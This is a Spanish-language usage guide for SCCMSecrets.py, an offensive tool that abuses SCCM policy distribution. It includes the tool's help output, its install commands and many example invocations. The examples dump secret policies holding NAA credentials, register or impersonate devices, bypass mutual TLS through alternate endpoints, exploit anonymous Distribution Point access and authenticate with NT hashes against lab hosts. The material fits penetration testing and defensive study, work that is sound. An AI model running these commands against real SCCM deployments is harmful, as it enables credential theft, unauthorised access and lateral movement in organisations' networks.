
SCCMSecrets.py tiene como objetivo explotar la distribución de políticas de SCCM para la recolección de credenciales, el acceso inicial y el movimiento lateral.
SCCMSecrets.py es una herramienta de explotación de directivas de SCCM. Va más allá de la extracción de credenciales NAA y pretende ofrecer un enfoque integral para la explotación de directivas de SCCM. La herramienta puede ejecutarse con distintos niveles de privilegios e intentará descubrir posibles malas configuraciones relacionadas con la distribución de directivas. Más detalles sobre la herramienta y su uso están disponibles en el artículo asociado: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
Hay dos subcomandos disponibles: policies y files.
Este subcomando interactúa con un Management Point de SCCM para volcar el contenido de todas las directivas secretas (incluyendo la configuración de NAA, secuencias de tareas con credenciales o variables de colección). Para ello se necesita un dispositivo SCCM aprobado, que puede obtenerse de tres formas.
--altauth, SCCMSecrets explotará un endpoint de autenticación alternativo, permitiendo omitir los requisitos de mTLS y obtener un dispositivo aprobado sin credenciales y sin la mala configuración de aprobación automática de dispositivos (más información aquí). Esto solo funciona cuando el MP está configurado para usar HTTPS, Y el sitio SCCM está configurado para imponer HTTPS en todo el sitio (si el MP usa HTTPS pero el sitio permite HTTP o HTTPS, los dispositivos no se aprueban automáticamente).--use-existing-device). Este argumento espera un directorio que contenga el archivo guid.txt (GUID del dispositivo) y el archivo key.pem (clave privada del dispositivo). Puede ser un dispositivo creado por una ejecución anterior de SCCMSecrets, o el correspondiente a un cliente SCCM legítimo comprometido.Ten en cuenta que las directivas de SCCM están asociadas a colecciones. Registrar un nuevo dispositivo colocará este dispositivo en las colecciones predeterminadas; por lo tanto, solo se recuperarán las directivas secretas de las colecciones predeterminadas. Por eso puede resultar interesante suplantar a un cliente SCCM legítimo comprometido con --use-existing-device. De hecho, este cliente legítimo podría formar parte de colecciones personalizadas asociadas a directivas secretas adicionales.
La salida se colocará en un subdirectorio del directorio loot (formato: [timestamp]_policies).
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Este subcomando indexará los archivos almacenados en un Distribution Point y descargará los interesantes. SCCMSecrets intentará primero identificar si el acceso anónimo está habilitado (no predeterminado). Si es así, los archivos pueden indexarse y descargarse sin autenticación. De lo contrario, se necesitarán credenciales de dominio.
Es posible descargar archivos por extensión. SCCMSecrets indexará los archivos de todos los paquetes alojados en el Distribution Point (lo que dará como resultado un archivo index.txt con el formato tree de Unix), y descargará los archivos con las extensiones especificadas. Al proporcionar una lista vacía de extensiones, solo se realizará la indexación de archivos.
En ambos casos, a partir del archivo de índice producido, es posible usar la bandera --urls para descargar archivos específicos interesantes (sin reindexar).
Ten en cuenta que los requisitos de mTLS, si están implementados, pueden omitirse proporcionando la bandera --nocert.
La salida se colocará en un subdirectorio del directorio loot (formato: [timestamp]_files).
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Por defecto, los clientes pueden interactuar con su Management Point o Distribution Point usando HTTP simple. Sin embargo, la instalación de SCCM puede configurarse de forma más segura imponiendo el uso de HTTPS. Cuando este es el caso (ya sea para el Management Point, el Distribution Point, o ambos), SCCM requerirá autenticación de certificado de cliente utilizando un certificado PKI interno con el propósito de "autenticación de cliente".
Aún es posible llevar a cabo los ataques presentados anteriormente; sin embargo, se debe proporcionar un certificado PKI válido a través de las banderas --pki-cert y --pki-key (formato PEM). Las URLs del Management Point / Distribution Point también deben llevar el prefijo https://.
Ten en cuenta que las banderas --altauth (para policies) y --nocert (para files) proporcionan formas de omitir la autenticación mTLS (más información aquí).
Puedes instalar SCCMSecrets.py clonando el repositorio e instalando las dependencias.
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
A continuación se muestran algunos comandos de ejemplo.
Recuperar directivas secretas sin proporcionar una cuenta de máquina. Esto intentará explotar la mala configuración de aprobación automática de dispositivos (configuración no predeterminada)
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
Recuperar directivas secretas proporcionando una cuenta de máquina. Esto funcionará en configuraciones SCCM predeterminadas
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
Recuperar directivas secretas de un dispositivo ya existente. La carpeta compromised_device contiene un archivo guid.txt y key.pem.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
Recuperar directivas secretas cuando el Management Point impone HTTPS
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
Recuperar directivas secretas usando el endpoint de autenticación alternativo, lo que permite omitir la autenticación mTLS y obtener un dispositivo aprobado sin proporcionar credenciales (más información aquí). Solo funciona cuando el MP usa HTTPS y HTTPS está impuesto en todo el sitio
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
Recuperar archivos del Distribution Point sin proporcionar credenciales. Esto intentará explotar el acceso anónimo al DP (configuración no predeterminada)
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
Recuperar archivos del Distribution Point con credenciales. Esto funcionará en configuraciones SCCM predeterminadas
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
Recuperar archivos con una lista específica de extensiones. Autenticarse con el hash de la cuenta de máquina
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
Recuperar archivos específicos del Distribution Point proporcionando una lista de URLs (1 por línea)
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
Recuperar archivos del DP cuando el Distribution Point impone HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
Omitir la autenticación mTLS cuando el Distribution Point impone HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert